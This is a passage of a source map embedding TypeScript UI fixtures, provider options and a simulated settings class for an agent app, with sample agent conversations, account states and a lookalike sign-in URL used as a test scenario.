state: 'connecting' }),\n serverRow('cargo', { state: 'failed' }),\n serverRow('drift', {\n auth: 'api-key',\n secret: 'token',\n store: 'vault',\n state: 'needs-secret',\n }),\n serverRow('ember', { auth: 'oauth', store: 'vault', state: 'needs-auth' }),\n serverRow('fathom', {\n auth: 'api-key',\n secret: 'token',\n store: 'vault',\n state: 'failed',\n }),\n serverRow('glacier', { state: 'disabled' }),\n serverRow('hollow', { identity: '', url: undefined, state: 'refused' }),\n serverRow('inlet', { url: undefined, state: 'refused' }),\n];\n\nexport const dualAccount: Account = {\n id: 'lumen',\n provider: 'Lumen AI',\n identity: '',\n status: 'disconnected',\n auth: 'oauth',\n secret: 'api-key',\n store: 'vault',\n keyUrl: 'https://console.lumen.example/keys',\n vaultName: 'LUMEN_API_KEY',\n};\n\nexport const codexAccount: Account = {\n id: 'openai-codex',\n provider: 'OpenAI Codex',\n identity: 'harbor-ops@example.com',\n status: 'expired',\n auth: 'oauth',\n};\n\nexport const deviceSignIn: AccountSignIn = {\n url: 'https://auth.openai.com/codex/device',\n code: 'WDJB-MJHT',\n};\n\nexport const pageSignIn: AccountSignIn = {\n url: 'https://auth.openai.com/oauth/authorize?client_id=slicc-dummy&response_type=code&state=7f3a',\n};\n\nexport const lookalikeSignIn: AccountSignIn = {\n url: 'https://auth.openai.com.example.net/device',\n code: 'WDJB-MJHT',\n};\n\nexport const signIns: ReadonlyMap<string, AccountSignIn> = new Map([\n ['openai-codex', deviceSignIn],\n]);\n\nexport const agents: Agent[] = [\n {\n id: 'cone-sliccy',\n name: 'sliccy',\n kind: 'cone',\n parentId: null,\n status: 'idle',\n model: 'claude-sonnet-5-5',\n contextFill: 0.21,\n unread: 0,\n },\n showcaseAgent,\n {\n id: 'cone-harbor',\n name: 'harbor',\n kind: 'cone',\n parentId: null,\n status: 'idle',\n model: 'claude-opus-5-5',\n contextFill: 0.38,\n unread: 0,\n },\n {\n id: 'scoop-otter',\n name: 'quiet-otter',\n kind: 'scoop',\n parentId: 'cone-harbor',\n status: 'working',\n model: 'claude-haiku-4-5',\n contextFill: 0.12,\n unread: 0,\n },\n {\n id: 'scoop-heron',\n name: 'amber-heron',\n kind: 'scoop',\n parentId: 'cone-harbor',\n status: 'idle',\n model: 'claude-haiku-4-5',\n contextFill: 0.04,\n unread: 0,\n },\n {\n id: 'cone-release',\n name: 'release-notes',\n kind: 'cone',\n parentId: null,\n status: 'idle',\n model: 'claude-sonnet-5-5',\n contextFill: 0.7,\n unread: 1,\n },\n {\n id: 'cone-triage',\n name: 'inbox-triage',\n kind: 'cone',\n parentId: null,\n status: 'waiting',\n model: 'claude-sonnet-5-5',\n contextFill: 0.95,\n unread: 2,\n },\n {\n id: 'scoop-wren',\n name: 'tidal-wren',\n kind: 'scoop',\n parentId: 'cone-sliccy',\n status: 'idle',\n model: 'claude-haiku-4-5',\n contextFill: 0.02,\n unread: 0,\n },\n {\n id: 'cone-tides',\n name: 'tide-tables',\n kind: 'cone',\n parentId: null,\n status: 'idle',\n model: 'claude-sonnet-5-5',\n contextFill: 0.31,\n unread: 0,\n frozen: true,\n },\n];\n\nconst start = Date.UTC(2026, 9, 5, 8, 30);\nconst at = (minutes: number) => start + minutes * 60_000;\n\nexport const queues: Record<string, UserMessage[]> = { 'cone-kitchen': showcaseQueue() };\n\nexport const conversations: Record<string, Message[]> = {\n 'cone-kitchen': showcase(),\n 'cone-sliccy': [\n {\n id: 'm-s0',\n role: 'assistant',\n status: 'done',\n createdAt: at(-24 * 60),\n parts: [\n {\n type: 'text',\n text: 'Hi, I am sliccy. Tell me a little about yourself, and I will set things up for you.',\n },\n { type: 'sprinkle', sprinkle: 'welcome' },\n ],\n },\n {\n id: 'm-s1',\n role: 'user',\n text: 'What is on my plate today?',\n createdAt: at(0),\n },\n {\n id: 'm-s2',\n role: 'assistant',\n status: 'done',\n createdAt: at(1),\n parts: [\n {\n type: 'tool',\n tool: {\n id: 't-s1',\n name: 'read_file',\n title: 'Read the standup notes',\n input: '/shared/notes/2026-10-04-standup.md',\n output: standup,\n status: 'done',\n paths: ['/shared/notes/2026-10-04-standup.md'],\n },\n },\n {\n type: 'text',\n text: 'Three things carry over from yesterday:\\n\\n1. **harbor**: the retry change is in review, and the midnight cache bug is still open.\\n2. **Docs**: the forecast page still shows Fahrenheit examples.\\n3. **release-notes** has a draft waiting for you.\\n\\nThe `harbor` cone is the one to start with.',\n },\n ],\n },\n ],\n 'cone-harbor': [\n {\n id: 'm-h1',\n role: 'lick',\n channel: 'webhook',\n title: 'GitHub \u00B7 issue opened',\n text: 'example/harbor#57: Forecast stays on yesterday after midnight UTC',\n createdAt: at(2),\n },\n {\n id: 'm-h2',\n role: 'user',\n text: 'The forecast endpoint serves stale data after midnight UTC. Find out why and fix it.',\n createdAt: at(3),\n },\n {\n id: 'm-h3',\n role: 'assistant',\n status: 'done',\n createdAt: at(4),\n parts: [\n {\n type: 'thinking',\n text: 'Stale after midnight points at the cache expiry. Check how the cache compares days.',\n },\n {\n type: 'tool',\n tool: {\n id: 't-h1',\n name: 'bash',\n title: 'Search for the cache expiry',\n input: 'rg -n \"getDate|TTL\" src',\n output:\n 'src/lib/cache.ts:6:const TTL = 60 * 60 * 1000;\\nsrc/lib/cache.ts:14: const day = new Date(entry.storedAt).getDate();\\nsrc/lib/cache.ts:16: if (now - entry.storedAt > TTL) return undefined;',\n status: 'done',\n paths: ['/workspace/harbor/src/lib/cache.ts'],\n },\n },\n {\n type: 'tool',\n tool: {\n id: 't-h2',\n name: 'read_file',\n title: 'Read the cache',\n input: '/workspace/harbor/src/lib/cache.ts',\n output: cacheBefore,\n status: 'done',\n paths: ['/workspace/harbor/src/lib/cache.ts'],\n },\n },\n {\n type: 'tool',\n tool: {\n id: 't-h3',\n name: 'edit_file',\n title: 'Expire entries from the previous day',\n input: '/workspace/harbor/src/lib/cache.ts',\n output: 'Replaced 1 block (4 lines \u2192 7 lines), added dayOf()',\n status: 'done',\n paths: ['/workspace/harbor/src/lib/cache.ts'],\n diff: { before: cacheBefore, after: cacheAfter },\n },\n },\n {\n type: 'tool',\n tool: {\n id: 't-h4',\n name: 'bash',\n title: 'Run the tests',\n input: 'npm test',\n meta: 'timeout 120s',\n output:\n '> harbor@0.0.0 test\\n> node --test test/\\n\\n\u2714 converts both ways (0.6ms)\\n\u2714 expires entries from the previous day (0.4ms)\\n\u2139 tests 2\\n\u2139 pass 2\\n\u2139 fail 0',\n status: 'done',\n paths: [],\n },\n },\n {\n type: 'text',\n text: 'Found it. `ForecastCache.get` compared **local** calendar days, and when the day changed it returned the old entry instead of dropping it:\\n\\n```ts\\nif (day !== new Date(now).getDate()) return entry.value;\\n```\\n\\nI changed it to compare UTC dates and delete the entry, so the first request after midnight goes upstream. The tests pass.\\n\\n| | Before | After |\\n| --- | --- | --- |\\n| Day compared | local `getDate()` | UTC `toISOString()` |\\n| On a new day | returns stale entry | deletes and refetches |\\n\\nquiet-otter is adding retries for upstream timeouts in a scoop.',\n },\n {\n type: 'delegation',\n kind: 'scoop',\n scoop: 'quiet-otter',\n text: 'Started a scoop to add retries around the upstream fetch',\n },\n ],\n },\n {\n id: 'm-h4',\n role: 'lick',\n channel: 'scoop-notify',\n title: 'quiet-otter',\n text: 'Started: add retries with backoff around the upstream fetch',\n createdAt: at(9),\n },\n {\n id: 'm-h5',\n role: 'lick',\n channel: 'scoop-notify',\n title: 'amber-heron (scout)',\n text: '[scoop amber-heron (scout) completed]',\n summary:\n 'The upstream allows 60 requests a minute, so a one-minute cache keeps harbor under it.',\n report: '/shared/scoop-notifications/amber-heron.md',\n body: `[scoop amber-heron (scout) completed]\\n${upstreamReport}`,\n createdAt: at(11),\n },\n {\n id: 'm-h6',\n role: 'lick',\n channel: 'scoop-notify',\n title: 'grey-tern (worker)',\n text: '[scoop grey-tern (worker) failed]',\n body: '[scoop grey-tern (worker) failed]\\nThe deploy preview timed out after **120 s**. Nothing was pushed.',\n createdAt: at(13),\n },\n {\n id: 'm-h7',\n role: 'lick',\n channel: 'scoop-notify',\n title: 'salt-gull (scout)',\n text: '[scoop salt-gull (scout) completed]',\n createdAt: at(15),\n },\n ],\n 'scoop-otter': [\n {\n id: 'm-o1',\n role: 'user',\n origin: 'agent',\n from: 'harbor',\n text: 'Wrap the upstream fetch in src/routes/forecast.ts with three retries and exponential backoff.',\n createdAt: at(9),\n },\n {\n id: 'm-o2',\n role: 'assistant',\n status: 'done',\n createdAt: at(10),\n parts: [\n {\n type: 'tool',\n tool: {\n id: 't-o1',\n name: 'write_file',\n title: 'Add retry()',\n input: '/workspace/harbor/src/lib/retry.ts',\n output: 'Wrote 12 lines',\n status: 'done',\n paths: ['/workspace/harbor/src/lib/retry.ts'],\n },\n },\n {\n type: 'tool',\n tool: {\n id: 't-o2',\n name: 'edit_file',\n title: 'Use retry() for the upstream call',\n input: '/workspace/harbor/src/routes/forecast.ts',\n output: 'Replaced 1 block',\n status: 'done',\n paths: ['/workspace/harbor/src/routes/forecast.ts'],\n },\n },\n { type: 'text', text: 'Both edits are in. Running the tests next.' },\n ],\n },\n ],\n 'scoop-heron': [],\n 'scoop-wren': [],\n 'cone-tides': [\n {\n id: 'm-f1',\n role: 'user',\n text: 'Add a tide table endpoint next to the forecast, with high and low water per day.',\n createdAt: at(-2900),\n },\n {\n id: 'm-f2',\n role: 'assistant',\n status: 'done',\n createdAt: at(-2898),\n parts: [\n {\n type: 'text',\n text: 'Added `/v1/tides?city=` with the next seven days of high and low water. It reads from the same upstream as the forecast and shares its cache.',\n },\n ],\n },\n ],\n 'cone-release': [\n {\n id: 'm-r1',\n role: 'lick',\n channel: 'cron',\n title: 'Every Friday 09:00',\n text: 'Draft the release notes for example/harbor',\n createdAt: at(-1440),\n },\n {\n id: 'm-r2',\n role: 'assistant',\n status: 'done',\n createdAt: at(-1438),\n parts: [\n {\n type: 'tool',\n tool: {\n id: 't-r1',\n name: 'bash',\n title: 'Collect merged pull requests',\n input: 'collect.jsh example/harbor v1.8.0',\n output:\n '41\\tfix\\tReturn 400 when the city is missing\\n43\\tfeature\\tAdd /health\\n44\\tchore\\tUpdate wrangler to 4.40.0',\n status: 'done',\n paths: ['/workspace/skills/release-notes/scripts/collect.jsh'],\n },\n },\n {\n type: 'text',\n text: '## harbor 1.9.0\\n\\n#### Features\\n- Added a `/health` endpoint.\\n\\n#### Fixes\\n- Requests without a city now get a 400 instead of a 500.\\n\\n#### Chores\\n- Updated wrangler to 4.40.0.',\n },\n ],\n },\n {\n id: 'm-r3',\n role: 'lick',\n channel: 'cron',\n severity: 'error',\n title: 'Crontab',\n text: 'Crontab line 3 is invalid',\n body: '30 25 * * * sweep-drafts\\nThe hour is 25. It must be 0 to 23.',\n createdAt: at(-1430),\n },\n {\n id: 'm-r4',\n role: 'lick',\n channel: 'fswatch',\n severity: 'warn',\n title: '/workspace/notes',\n text: 'File watch on /workspace/notes stopped; retrying',\n createdAt: at(-1429),\n },\n {\n id: 'm-r5',\n role: 'lick',\n channel: 'workflow',\n title: 'Release report',\n text: 'The weekly release report is ready',\n body: 'Summary: harbor 1.9.0 shipped three changes this week, the /health endpoint, a 400 for requests without a city and a wrangler update, with no failed deploys, no rollbacks and two flaky test runs in the forecast suite that passed on retry, so the next release can go out on Friday as planned once the docs pass lands.',\n createdAt: at(-1428),\n },\n ],\n 'cone-triage': [\n {\n id: 'm-t1',\n role: 'system',\n kind: 'compaction',\n trigger: 'threshold',\n state: 'summarized',\n title: 'Context compacted',\n text: '41 earlier messages were summarized to stay under the context limit.',\n createdAt: at(-30),\n },\n {\n id: 'm-t2',\n role: 'assistant',\n status: 'done',\n createdAt: at(-20),\n parts: [\n {\n type: 'text',\n text: 'Two messages need a decision from you:\\n\\n- A vendor asks to move Thursday\u2019s call to Friday.\\n- The staging certificate expires in 6 days. Should I open a ticket?',\n },\n ],\n },\n {\n id: 'm-t3',\n role: 'system',\n kind: 'error',\n action: 'login',\n title: 'Mail connector',\n text: 'The connector returned 401. Reconnect the account in Settings.',\n createdAt: at(-19),\n },\n {\n id: 'm-t4',\n role: 'system',\n kind: 'error',\n action: 'login',\n account: 'mcp:tickets',\n title: 'Tickets connector',\n text: 'The tickets server rejected its token.',\n createdAt: at(-18),\n },\n ],\n};\n\nexport const tabs: BrowserTab[] = [\n {\n id: 'tab-preview',\n title: 'harbor \u00B7 localhost',\n url: 'http://localhost:8787/forecast?city=Lisbon',\n status: 'complete',\n agentId: 'cone-harbor',\n },\n {\n id: 'tab-docs',\n title: 'Forecast API reference',\n url: 'https://api.example.com/docs/v2/forecast',\n status: 'complete',\n agentId: null,\n favicon: `data:image/svg+xml;charset=utf-8,${encodeURIComponent('<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 16 16\"><rect width=\"16\" height=\"16\" rx=\"3\" fill=\"#7a5af8\"/><text x=\"8\" y=\"12\" font-family=\"sans-serif\" font-size=\"11\" font-weight=\"700\" fill=\"#ffffff\" text-anchor=\"middle\">A</text></svg>')}`,\n },\n {\n id: 'tab-pull',\n title: 'Add retries for upstream timeouts \u00B7 Pull request #58',\n url: 'https://git.example.com/example/harbor/pull/58',\n status: 'complete',\n agentId: 'scoop-otter',\n favicon: `data:image/svg+xml;charset=utf-8,${encodeURIComponent('<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 16 16\"><rect width=\"16\" height=\"16\" rx=\"3\" fill=\"#0a7a43\"/><text x=\"8\" y=\"12\" font-family=\"sans-serif\" font-size=\"11\" font-weight=\"700\" fill=\"#ffffff\" text-anchor=\"middle\">G</text></svg>')}`,\n },\n];\n\nexport const terminals: TerminalInfo[] = [\n { id: 'term-1', title: 'bash', cwd: '/workspace/harbor', agentId: null },\n];\n", "import type { Account, ProviderOption } from '../model/types.ts';\nimport { accounts } from './fixtures.ts';\n\nconst options: ProviderOption[] = [\n {\n id: 'ai-adobe',\n name: 'Adobe AI',\n description: 'Models from your Adobe plan',\n auth: 'oauth',\n },\n {\n id: 'amazon-bedrock',\n name: 'Amazon Bedrock',\n description: 'Claude and more through AWS',\n auth: 'fields',\n keyUrl: 'https://console.aws.example/bedrock/api-keys',\n fields: accounts.find((account) => account.id === 'amazon-bedrock')?.fields,\n },\n {\n id: 'anthropic',\n name: 'Anthropic',\n description: 'Claude models with your own key',\n auth: 'api-key',\n keyUrl: 'https://console.anthropic.example/keys',\n },\n {\n id: 'openai',\n name: 'OpenAI',\n description: 'GPT models with your own key',\n auth: 'api-key',\n keyUrl: 'https://platform.openai.example/api-keys',\n },\n {\n id: 'mistral',\n name: 'Mistral',\n description: 'Mistral and Codestral models',\n auth: 'api-key',\n keyUrl: 'https://console.mistral.example/keys',\n },\n {\n id: 'groq',\n name: 'Groq',\n description: 'Fast open models',\n auth: 'api-key',\n keyUrl: 'https://console.groq.example/keys',\n },\n {\n id: 'openrouter',\n name: 'OpenRouter',\n description: 'Many providers behind one key',\n auth: 'api-key',\n keyUrl: 'https://openrouter.example/keys',\n },\n {\n id: 'cerebras',\n name: 'Cerebras',\n description: 'Open models on wafer-scale chips',\n auth: 'api-key',\n keyUrl: 'https://cloud.cerebras.example/keys',\n },\n {\n id: 'github-copilot',\n name: 'GitHub Copilot',\n description: 'Models from your Copilot plan',\n auth: 'oauth',\n },\n {\n id: 'openai-codex',\n name: 'OpenAI Codex',\n description: 'Models from your ChatGPT plan',\n auth: 'oauth',\n },\n {\n id: 'azure-openai',\n name: 'Azure OpenAI',\n description: 'Your own Azure deployment',\n auth: 'fields',\n keyUrl: 'https://portal.azure.example/openai',\n fields: [\n {\n name: 'endpoint',\n label: 'Endpoint',\n required: true,\n customBase: true,\n vaultSetting: 'AZURE_OPENAI_RESOURCE_NAME',\n placeholder: 'https://harbor.openai.azure.example',\n help: 'The resource\u2019s endpoint, from Keys and endpoint.',\n },\n { name: 'deployment', label: 'Deployment', required: true, placeholder: 'harbor-gpt' },\n ],\n vaultName: 'AZURE_OPENAI_API_KEY',\n },\n {\n id: 'cloudflare',\n name: 'Cloudflare',\n description: 'Workers AI models',\n auth: 'fields',\n keyUrl: 'https://dash.cloudflare.example/api-tokens',\n needs: 'cors-free-transport',\n fields: [\n {\n name: 'account',\n label: 'Account ID',\n required: true,\n placeholder: '3f2a9c\u2026',\n help: 'On the right of the Workers AI page.',\n vaultSetting: 'CLOUDFLARE_ACCOUNT_ID',\n },\n {\n name: 'gateway',\n label: 'AI Gateway ID',\n placeholder: 'harbor-gateway',\n vaultSetting: 'CLOUDFLARE_GATEWAY_ID',\n },\n ],\n vaultName: 'CLOUDFLARE_WORKERS_AI_API_KEY',\n },\n {\n id: 'ollama',\n name: 'Ollama',\n description: 'Models running on this device',\n auth: 'local',\n },\n {\n id: 'lm-studio',\n name: 'LM Studio',\n description: 'Models served by LM Studio on this device',\n auth: 'local',\n },\n];\n\nexport const providerFixtures: readonly ProviderOption[] = options.sort((a, b) =>\n a.name.localeCompare(b.name)\n);\n\nexport function providerAccount(option: ProviderOption): Account {\n const keyed = option.auth === 'api-key' || option.auth === 'fields';\n return {\n id: option.id,\n provider: option.name,\n identity: '',\n status: 'disconnected',\n group: 'providers',\n auth: keyed ? 'api-key' : (option.auth as 'oauth' | 'local'),\n ...(keyed ? { store: 'vault' as const } : {}),\n ...(option.fields ? { fields: option.fields } : {}),\n ...(option.keyUrl ? { keyUrl: option.keyUrl } : {}),\n ...(option.description ? { description: option.description } : {}),\n ...(option.needs ? { needs: option.needs } : {}),\n ...(option.blocked ? { blocked: option.blocked } : {}),\n ...(option.vaultName ? { vaultName: option.vaultName } : {}),\n };\n}\n\nexport function providerAccounts(rows: readonly Account[], transport?: 'none'): Account[] {\n const added = (id: string, patch: Partial<Account>): Account => ({\n ...providerAccount(providerFixtures.find((option) => option.id === id) as ProviderOption),\n ...patch,\n });\n const offered = (account: Account) => providerFixtures.find((option) => option.id === account.id);\n const providers = rows\n .filter((account) => account.group !== 'mcp')\n .map((account) => {\n const option = offered(account);\n return option ? { ...providerAccount(option), ...account } : account;\n });\n const servers = rows.filter((account) => account.group === 'mcp');\n return [\n ...providers,\n added('ollama', { status: 'connected', identity: 'On this device' }),\n ...(transport ? [added('cloudflare', { status: 'connected', identity: 'API key' })] : []),\n ...servers,\n ];\n}\n", "export interface Clock {\n delay: number;\n sleep(ticks?: number): Promise<void>;\n}\n\nexport function clock(delay: number): Clock {\n return {\n delay,\n sleep: (ticks = 1) => new Promise((resolve) => setTimeout(resolve, delay * ticks)),\n };\n}\n", "import { Emitter } from '../model/emitter.ts';\nimport type {\n Account,\n AccountField,\n AccountStatus,\n ConnectOptions,\n McpEdit,\n McpRefusal,\n ModelOption,\n ProviderOption,\n Settings,\n SettingsEvents,\n SettingsPort,\n} from '../model/types.ts';\nimport type { Clock } from './clock.ts';\nimport { deviceSignIn, lookalikeSignIn, pageSignIn, serverRefusals, signIns } from './fixtures.ts';\nimport { providerAccount } from './providers.ts';\n\nexport const dummySettingsKey = 'slicc-ui.settings';\nexport const signInClosed = 'The sign-in window was closed before it finished.';\n\nexport type DummyTransport = 'none' | 'extension' | 'link';\n\nexport type DummyLogin = 'ok' | 'fail' | 'code' | 'url' | 'lookalike';\n\nexport type DummyServers = 'owner' | 'view-only' | 'refuse' | 'fail';\n\nexport const serverRefused =\n 'url holds a literal secret. Put it in a header as ${NAME} and add the value in Settings \u203A MCP servers';\nexport const serverUnchanged =\n \"/etc/slicc/agent/mcp.json isn't valid JSON, so it is unchanged. Fix the file first.\";\nexport const serverUnanswered = 'The agent did not answer.';\n\nfunction serverAccount(name: string, entry: unknown): Account {\n const { url, token } = entry as { url: string; token?: boolean };\n const address = new URL(url);\n const row = {\n id: `mcp:${name}`,\n provider: name,\n identity: address.host,\n url: `${address.origin}${address.pathname}`,\n group: 'mcp' as const,\n };\n return token\n ? {\n ...row,\n status: 'disconnected',\n auth: 'api-key',\n secret: 'token',\n store: 'vault',\n state: 'needs-secret',\n }\n : { ...row, status: 'connected', auth: 'local', state: 'connected' };\n}\n\nfunction chosen(\n fields: readonly AccountField[] | undefined,\n values: Record<string, string> | undefined\n): string[] {\n return (fields ?? []).flatMap((field) => {\n const option = field.options?.find((candidate) => candidate.value === values?.[field.name]);\n return option ? [option.label] : [];\n });\n}\n\nfunction kept(\n fields: readonly AccountField[] | undefined,\n values: Record<string, string> | undefined\n): Pick<Account, 'fields'> {\n if (!(fields && values)) return {};\n return {\n fields: fields.map((field) => ({ ...field, value: values[field.name] ?? field.value })),\n };\n}\n\nexport class DummySettings extends Emitter<SettingsEvents> implements SettingsPort {\n #settings: Settings;\n #accounts: Account[];\n #models: readonly ModelOption[];\n #storage: Storage | null;\n #clock: Clock;\n #keys: readonly string[];\n #signIns = new Map<string, { before: AccountStatus; stop: () => void }>();\n #gated: boolean;\n #fails: boolean;\n #login: DummyLogin | undefined;\n #transport: DummyTransport | undefined;\n #options: readonly ProviderOption[] = [];\n #servers: DummyServers;\n readonly connects: Array<{\n id: string;\n gesture: boolean | null;\n fields?: Record<string, string>;\n options?: ConnectOptions;\n }> = [];\n readonly serverEdits: Array<{ add: string; entry: unknown } | { remove: string }> = [];\n providers?: () => readonly ProviderOption[];\n remove?: (id: string) => Promise<void>;\n addServer?: (name: string, entry: unknown) => Promise<McpEdit>;\n removeServer?: (id: string) => Promise<McpEdit>;\n refusals?: () => Promise<Record<string, McpRefusal>>;\n\n constructor(\n defaults: Settings,\n models: readonly ModelOption[],\n accounts: readonly Account[],\n storage: Storage | null,\n clock: Clock,\n keys: readonly string[] = [dummySettingsKey],\n gated = false,\n login?: DummyLogin,\n providers?: readonly ProviderOption[],\n transport?: DummyTransport,\n servers: DummyServers = 'owner'\n ) {\n super();\n this.#transport = transport;\n this.#servers = servers;\n if (servers !== 'view-only') {\n this.addServer = (name, entry) => this.#addServer(name, entry);\n this.removeServer = (id) => this.#removeServer(id);\n this.refusals = async () => serverRefusals;\n }\n if (providers) {\n this.#options = providers;\n this.providers = () =>\n this.#transport === 'none' ? providers.map((option) => this.#block(option)) : providers;\n this.remove = async (id) => this.#drop(id);\n }\n this.#fails = login === 'fail';\n this.#login = login;\n this.#gated = gated;\n this.#keys = keys;\n this.#storage = storage;\n this.#clock = clock;\n this.#models = models;\n this.#accounts = accounts.map((account) => ({ ...account }));\n this.#settings = { ...defaults, ...this.#load() };\n }\n\n #load(): Partial<Settings> {\n try {\n const saved = this.#keys\n .map((key) => this.#storage?.getItem(key))\n .find((value) => value != null);\n return JSON.parse(saved ?? '{}');\n } catch {\n return {};\n }\n }\n\n get(): Settings {\n return { ...this.#settings };\n }\n\n update(patch: Partial<Settings>): void {\n this.#settings = { ...this.#settings, ...patch };\n this.#storage?.setItem(this.#keys[0], JSON.stringify(this.#settings));\n this.emit('settings', this.get());\n }\n\n models(): readonly ModelOption[] {\n if (!this.#gated) return this.#models;\n const live = new Set(\n this.#accounts\n .filter((account) => account.status === 'connected')\n .map((account) => account.provider)\n );\n return this.#models.filter((option) => live.has(option.provider));\n }\n\n accounts(): readonly Account[] {\n return this.#accounts.map((account) => this.#block({ ...account }));\n }\n\n #block<T extends Account | ProviderOption>(row: T): T {\n if (this.#transport !== 'none' || !row.needs) return row;\n return { ...row, blocked: row.needs };\n }\n\n setTransport(transport: DummyTransport): void {\n this.#transport = transport;\n if (this.providers) this.emit('providers', this.providers());\n this.emit('accounts', this.accounts());\n }\n\n #set(id: string, patch: Partial<Account>): void {\n this.#accounts = this.#accounts.map((account) => {\n if (account.id !== id) return account;\n const next = { ...account, ...patch };\n if (next.status !== 'signing-in') delete next.signIn;\n return next;\n });\n this.emit('accounts', this.accounts());\n }\n\n #drop(id: string): void {\n this.#signIns.get(id)?.stop();\n this.#accounts = this.#accounts.filter((account) => account.id !== id);\n this.emit('accounts', this.accounts());\n }\n\n async #addServer(name: string, entry: unknown): Promise<McpEdit> {\n this.serverEdits.push({ add: name, entry });\n await this.#clock.sleep(10);\n if (this.#servers === 'fail') throw new Error(serverUnanswered);\n if (this.#servers === 'refuse') return { ok: false, code: 'url-secret', reason: serverRefused };\n if (this.#accounts.some((account) => account.id === `mcp:${name}`))\n return {\n ok: false,\n code: 'duplicate',\n reason: `/etc/slicc/agent/mcp.json already has a server called \"${name}\". Remove it first.`,\n };\n void this.#clock.sleep(20).then(() => {\n this.#accounts = [...this.#accounts, serverAccount(name, entry)];\n this.emit('accounts', this.accounts());\n });\n return { ok: true };\n }\n\n async #removeServer(id: string): Promise<McpEdit> {\n this.serverEdits.push({ remove: id });\n await this.#clock.sleep(10);\n if (this.#servers === 'fail') throw new Error(serverUnanswered);\n if (this.#servers === 'refuse')\n return { ok: false, code: 'file-invalid', reason: serverUnchanged };\n void this.#clock.sleep(20).then(() => this.#drop(id));\n return { ok: true };\n }\n\n #add(id: string): boolean {\n const option = this.#options.find((candidate) => candidate.id === id);\n if (!option || this.#accounts.some((account) => account.id === id)) return false;\n this.#accounts = [...this.#accounts, providerAccount(option)];\n this.emit('accounts', this.accounts());\n return true;\n }\n\n async connect(\n id: string,\n secret?: string,\n fields?: Record<string, string>,\n options?: ConnectOptions\n ): Promise<void> {\n const activation = (globalThis.navigator as Navigator | undefined)?.userActivation;\n this.connects.push({\n id,\n gesture: activation ? activation.isActive : null,\n ...(fields ? { fields } : {}),\n ...(options ? { options } : {}),\n });\n const fresh = this.#add(id);\n try {\n if (!(await this.#connect(id, secret, fields, options?.method === 'key')) && fresh)\n this.#drop(id);\n } catch (error) {\n if (fresh) this.#drop(id);\n throw error;\n }\n }\n\n async #connect(\n id: string,\n secret: string | undefined,\n fields: Record<string, string> | undefined,\n key: boolean\n ): Promise<boolean> {\n const account = this.#accounts.find((candidate) => candidate.id === id);\n const local = account?.auth === 'local';\n const window = !!account && account.auth !== 'api-key' && !local && !key;\n if (window && !(await this.#signIn(account))) return false;\n if (window && this.#fails) {\n this.#set(id, { status: account.status });\n throw new Error(signInClosed);\n }\n if (!window) await this.#clock.sleep(10);\n if (account?.auth === 'api-key' && account.store !== 'vault' && !secret)\n throw new Error(\n `${account.provider} needs ${account.secret === 'token' ? 'a token' : 'an API key'}`\n );\n if ([secret, ...Object.values(fields ?? {})].some((value) => value?.startsWith('bad')))\n throw new Error(`${account?.provider} didn\u2019t accept that key.`);\n if (fields?.endpoint?.includes('://') && !fields.endpoint.startsWith('https://'))\n throw new Error('The endpoint must use https://.');\n const identity =\n account?.group === 'mcp'\n ? account.identity\n : local\n ? 'On this device'\n : account?.auth === 'api-key' || key\n ? ['API key', ...chosen(account?.fields, fields)].join(' \u00B7 ')\n : account?.identity || `${id}-user@example.com`;\n this.#set(id, {\n status: 'connected',\n identity,\n ...(account?.state ? { state: 'connected' as const } : {}),\n ...kept(account?.fields, fields),\n });\n return true;\n }\n\n #signIn(account: Account): Promise<boolean> {\n const before = this.#signIns.get(account.id)?.before ?? account.status;\n this.#signIns.get(account.id)?.stop();\n this.#set(account.id, { status: 'signing-in', ...this.#hint(account.id) });\n return new Promise((resolve) => {\n const stop = () => {\n this.#signIns.delete(account.id);\n this.#set(account.id, { status: before });\n resolve(false);\n };\n this.#signIns.set(account.id, { before, stop });\n void this.#clock.sleep(100).then(() => {\n if (this.#signIns.get(account.id)?.stop !== stop) return;\n this.#signIns.delete(account.id);\n resolve(true);\n });\n });\n }\n\n #hint(id: string): Pick<Account, 'signIn'> {\n const scenario = { code: deviceSignIn, url: pageSignIn, lookalike: lookalikeSignIn };\n const signIn =\n this.#login && this.#login in scenario\n ? scenario[this.#login as keyof typeof scenario]\n : signIns.get(id);\n return signIn ? { signIn } : {};\n }\n\n cancel(id: string): void {\n this.#signIns.get(id)?.stop();\n }\n\n disconnect(id: string): void {\n const account = this.#accounts.find((candidate) => candidate.id === id);\n const state = account?.auth === 'oauth' ? 'needs-auth' : 'needs-secret';\n this.#set(id, { status: 'disconnected', ...(account?.state ? { state } : {}) });\n }\n}\n"],
5
+ "mappings": 